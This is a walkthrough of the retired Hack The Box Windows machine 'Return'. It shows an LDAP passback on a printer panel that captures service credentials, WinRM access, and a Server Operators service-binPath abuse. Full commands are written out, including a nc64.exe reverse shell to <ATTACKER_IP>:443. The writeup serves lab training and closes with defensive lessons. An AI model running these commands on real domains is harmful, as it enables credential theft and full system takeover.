root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to HackTheBox writeups
root@sparrow:~/writeups$ cat return.md
// writeups

Return

27 Sep 2021 · 11 min read
writeupshacktheboxwindowsEasyretiredvip
Return - maquina de Hack The Box

Executive summary — Return is an Easy Windows (Active Directory) box with two very real-world techniques: an «LDAP passback» — a printer's web panel lets you configure which LDAP server it authenticates against, so we point it at our own machine to capture its credentials in the clear — and then abuse of the Server Operators group to modify a system service and run code as SYSTEM. A printer panel → LDAP passback → WinRM → Server Operators → SYSTEM path.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.26.164
Domainreturn.local

Attack map

[80] HTB Printer Admin Panel · /settings.php (LDAP config → printer.return.local)
   │  LDAP passback: point the LDAP server at OUR IP → capture credentials
   ▼
[CREDS]  return\svc-printer : 1edFg43012!!
   │  svc-printer ∈ BUILTIN\Remote Management Users (enables WinRM)
   ▼
[WINRM]  evil-winrm as svc-printer  (user.txt)
   │  svc-printer ∈ BUILTIN\Server Operators (can modify services)
   ▼
[SYSTEM]  sc config VSS binpath=...nc64.exe → sc start VSS → SYSTEM shell (root.txt)

1. Reconnaissance

We start with a full TCP port scan, without host discovery (we know it's alive) and without DNS resolution, to save time:

nmap -p- --min-rate 10000 -oA nmap-alltcp 10.129.26.164
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws

What matters: 53 (DNS) + 88 (Kerberos) + 389/636/3268/3269 (LDAP/LDAPS + Global Catalog) + 445 (SMB) is the classic signature of an Active Directory Domain Controller. With WinRM (5985) also open: if we get valid credentials, we log in remotely with Evil-WinRM without needing any other vulnerability.

We rescan just the discovered ports with version detection and default scripts, to confirm services and banners:

nmap -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV -oA nmap-services 10.129.26.164
80/tcp   open  http          Microsoft IIS httpd 10.0
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0

Port 80 serves a web app on IIS, 389 confirms AD LDAP, and 5985 confirms WinRM.

2. SMB enumeration

We check whether SMB allows anonymously listing shares:

crackmapexec smb 10.129.26.164 --shares
STATUS_USER_SESSION_DELETED

No useful anonymous session: we need credentials before we can pull anything over SMB. On to the web app, the other exposed service.

3. Web enumeration — printer admin panel

At http://10.129.26.164/ there's a panel called «HTB Printer Admin Panel». Browsing the site we find a configuration page:

http://10.129.26.164/settings.php

The form exposes the typical fields for a printer that authenticates against a corporate directory: Server Address, Server Port, Username and a hidden Password field. The server field defaults to printer.return.local.

4. The vulnerability — LDAP passback

The design flaw: when you click «update configuration», the server itself (not our browser) tries to connect and authenticate against whatever LDAP server is set in the form, using its own internal credentials. If we swap that field for OUR IP, the victim machine will try to authenticate against us, thinking we're its directory — and since it uses simple LDAP authentication, the credentials travel in the clear and we capture them with a plain listener. This technique is known as an «LDAP passback».

We spin up a listener on the LDAP port (389, needs root since it's a privileged port <1024) before touching anything in the web app:

sudo nc -lvnp 389

In /settings.php we change Server Address from printer.return.local to our attacker IP and click «Update»:

Server Address: <ATTACKER_IP>
[Update]

On the listener we receive the connection with the service's credentials in the clear:

return\svc-printer
1edFg43012!!

The web app tried to authenticate against our Kali thinking it was the legitimate LDAP server. This is the key point of the whole box: username svc-printer, password 1edFg43012!!, domain return.local.

5. Validating credentials and initial access — WinRM

Before logging in, we confirm the credentials are valid against SMB:

crackmapexec smb 10.129.26.164 -u svc-printer -p '1edFg43012!!'
[+] return.local\svc-printer:1edFg43012!!

And check whether they also work for WinRM, since we saw port 5985 open:

crackmapexec winrm 10.129.26.164 -u svc-printer -p '1edFg43012!!'
[+] return.local\svc-printer:1edFg43012!! (Pwn3d!)

CrackMapExec's Pwn3d! confirms svc-printer can open a remote session over WinRM (it belongs to BUILTIN\Remote Management Users). We log in with Evil-WinRM:

evil-winrm -i 10.129.26.164 -u svc-printer -p '1edFg43012!!'
*Evil-WinRM* PS C:\Users\svc-printer\Documents>

We now have a shell as return\svc-printer. We read the user flag:

cd C:\Users\svc-printer\Desktop
type user.txt

6. Internal enumeration — privileges and groups

With access confirmed, we check who we are and what token privileges we hold:

whoami
return\svc-printer
whoami /priv
SeBackupPrivilege
SeRestorePrivilege
SeLoadDriverPrivilege
SeShutdownPrivilege
SeChangeNotifyPrivilege

Interesting privileges (SeBackupPrivilege/SeRestorePrivilege would give another escalation route on their own), but on Return the more direct path isn't here — it's in the user's group membership.

whoami /groups
BUILTIN\Server Operators
BUILTIN\Print Operators
BUILTIN\Remote Management Users

svc-printer belongs to BUILTIN\Server Operators: on a Domain Controller, this group can start, stop and modify system services — including their executable path (binPath). And since many services run as NT AUTHORITY\SYSTEM, whoever can change the binary a service runs gets that command executed with SYSTEM privileges.

7. Escalation — abusing the VSS service

The plan: upload an nc64.exe to the victim, reconfigure an existing service (VSS, the volume shadow copy service) to run a reverse shell instead of its legitimate binary, start it, and catch the connection as SYSTEM.

We download Netcat for Windows on Kali:

wget https://github.com/int0x33/nc.exe/raw/master/nc64.exe

We upload it with Evil-WinRM (which can transfer files from Kali to the Windows box) and move it to C:\ProgramData, a folder usually writable by non-admin users and from which binaries can be executed:

upload nc64.exe
move nc64.exe C:\ProgramData\nc64.exe
dir C:\ProgramData\nc64.exe

We open a listener on Kali before touching the service:

nc -lvnp 443

We reconfigure the VSS service's binPath to launch a reverse shell toward our IP:

sc.exe config VSS binpath= "C:\Windows\System32\cmd.exe /c C:\ProgramData\nc64.exe -e cmd <ATTACKER_IP> 443"

Why wrap it in cmd.exe /c: launching nc64.exe directly as the service's binary sometimes works, but the shell can die if the service times out on start. Having the service run cmd, and cmd launch nc64.exe, keeps the connection alive even if the service's own startup fails.

We start the service:

sc.exe start VSS
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.

This error is expected and doesn't mean the attack failed: the service doesn't respond like a legitimate Windows service would, but our command has already executed before the start-up times out.

On the Kali listener we catch the connection:

Connection received on 10.129.26.164
Microsoft Windows [Version 10.0.17763.107]
C:\Windows\system32>whoami
nt authority\system

8. Root flag

cd C:\Users\Administrator\Desktop
dir
type root.txt

If the path were different, the flag can be located by searching the whole disk: dir /s /b root.txt from C:\.

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
ReconSMB (445)No anonymous sessionNone (forces finding credentials first)
FootholdPrinter panel · /settings.phpLDAP passback: the server authenticates against an arbitrary client-supplied LDAP hostCleartext credentials for svc-printer
AccessWinRM (5985)Valid credentials + Remote Management UsersInitial shell as svc-printer (user.txt)
PrivEscBUILTIN\Server OperatorsCan modify a service's binPath (VSS)Code execution as NT AUTHORITY\SYSTEM (root.txt)

Lessons learned

  • LDAP passback: never let a device or application connect to a user-configurable, arbitrary LDAP server using service credentials. Use LDAPS, pin the destination (allowlist), and validate the certificate.
  • Printers and other IoT/management devices store service credentials that are valuable for lateral movement across the domain: they're as legitimate a web recon target as anything else.
  • BUILTIN\Server Operators is nearly Administrator on a Domain Controller: it can take full control of the system by abusing services. Don't put service accounts there without a real need.
  • Windows services run as SYSTEM: whoever can modify a service's binPath (or its binary) gets code execution with those privileges, with no exploit required.
  • Always check whoami /priv and whoami /groups after initial access: the escalation path is almost never in the first place you look.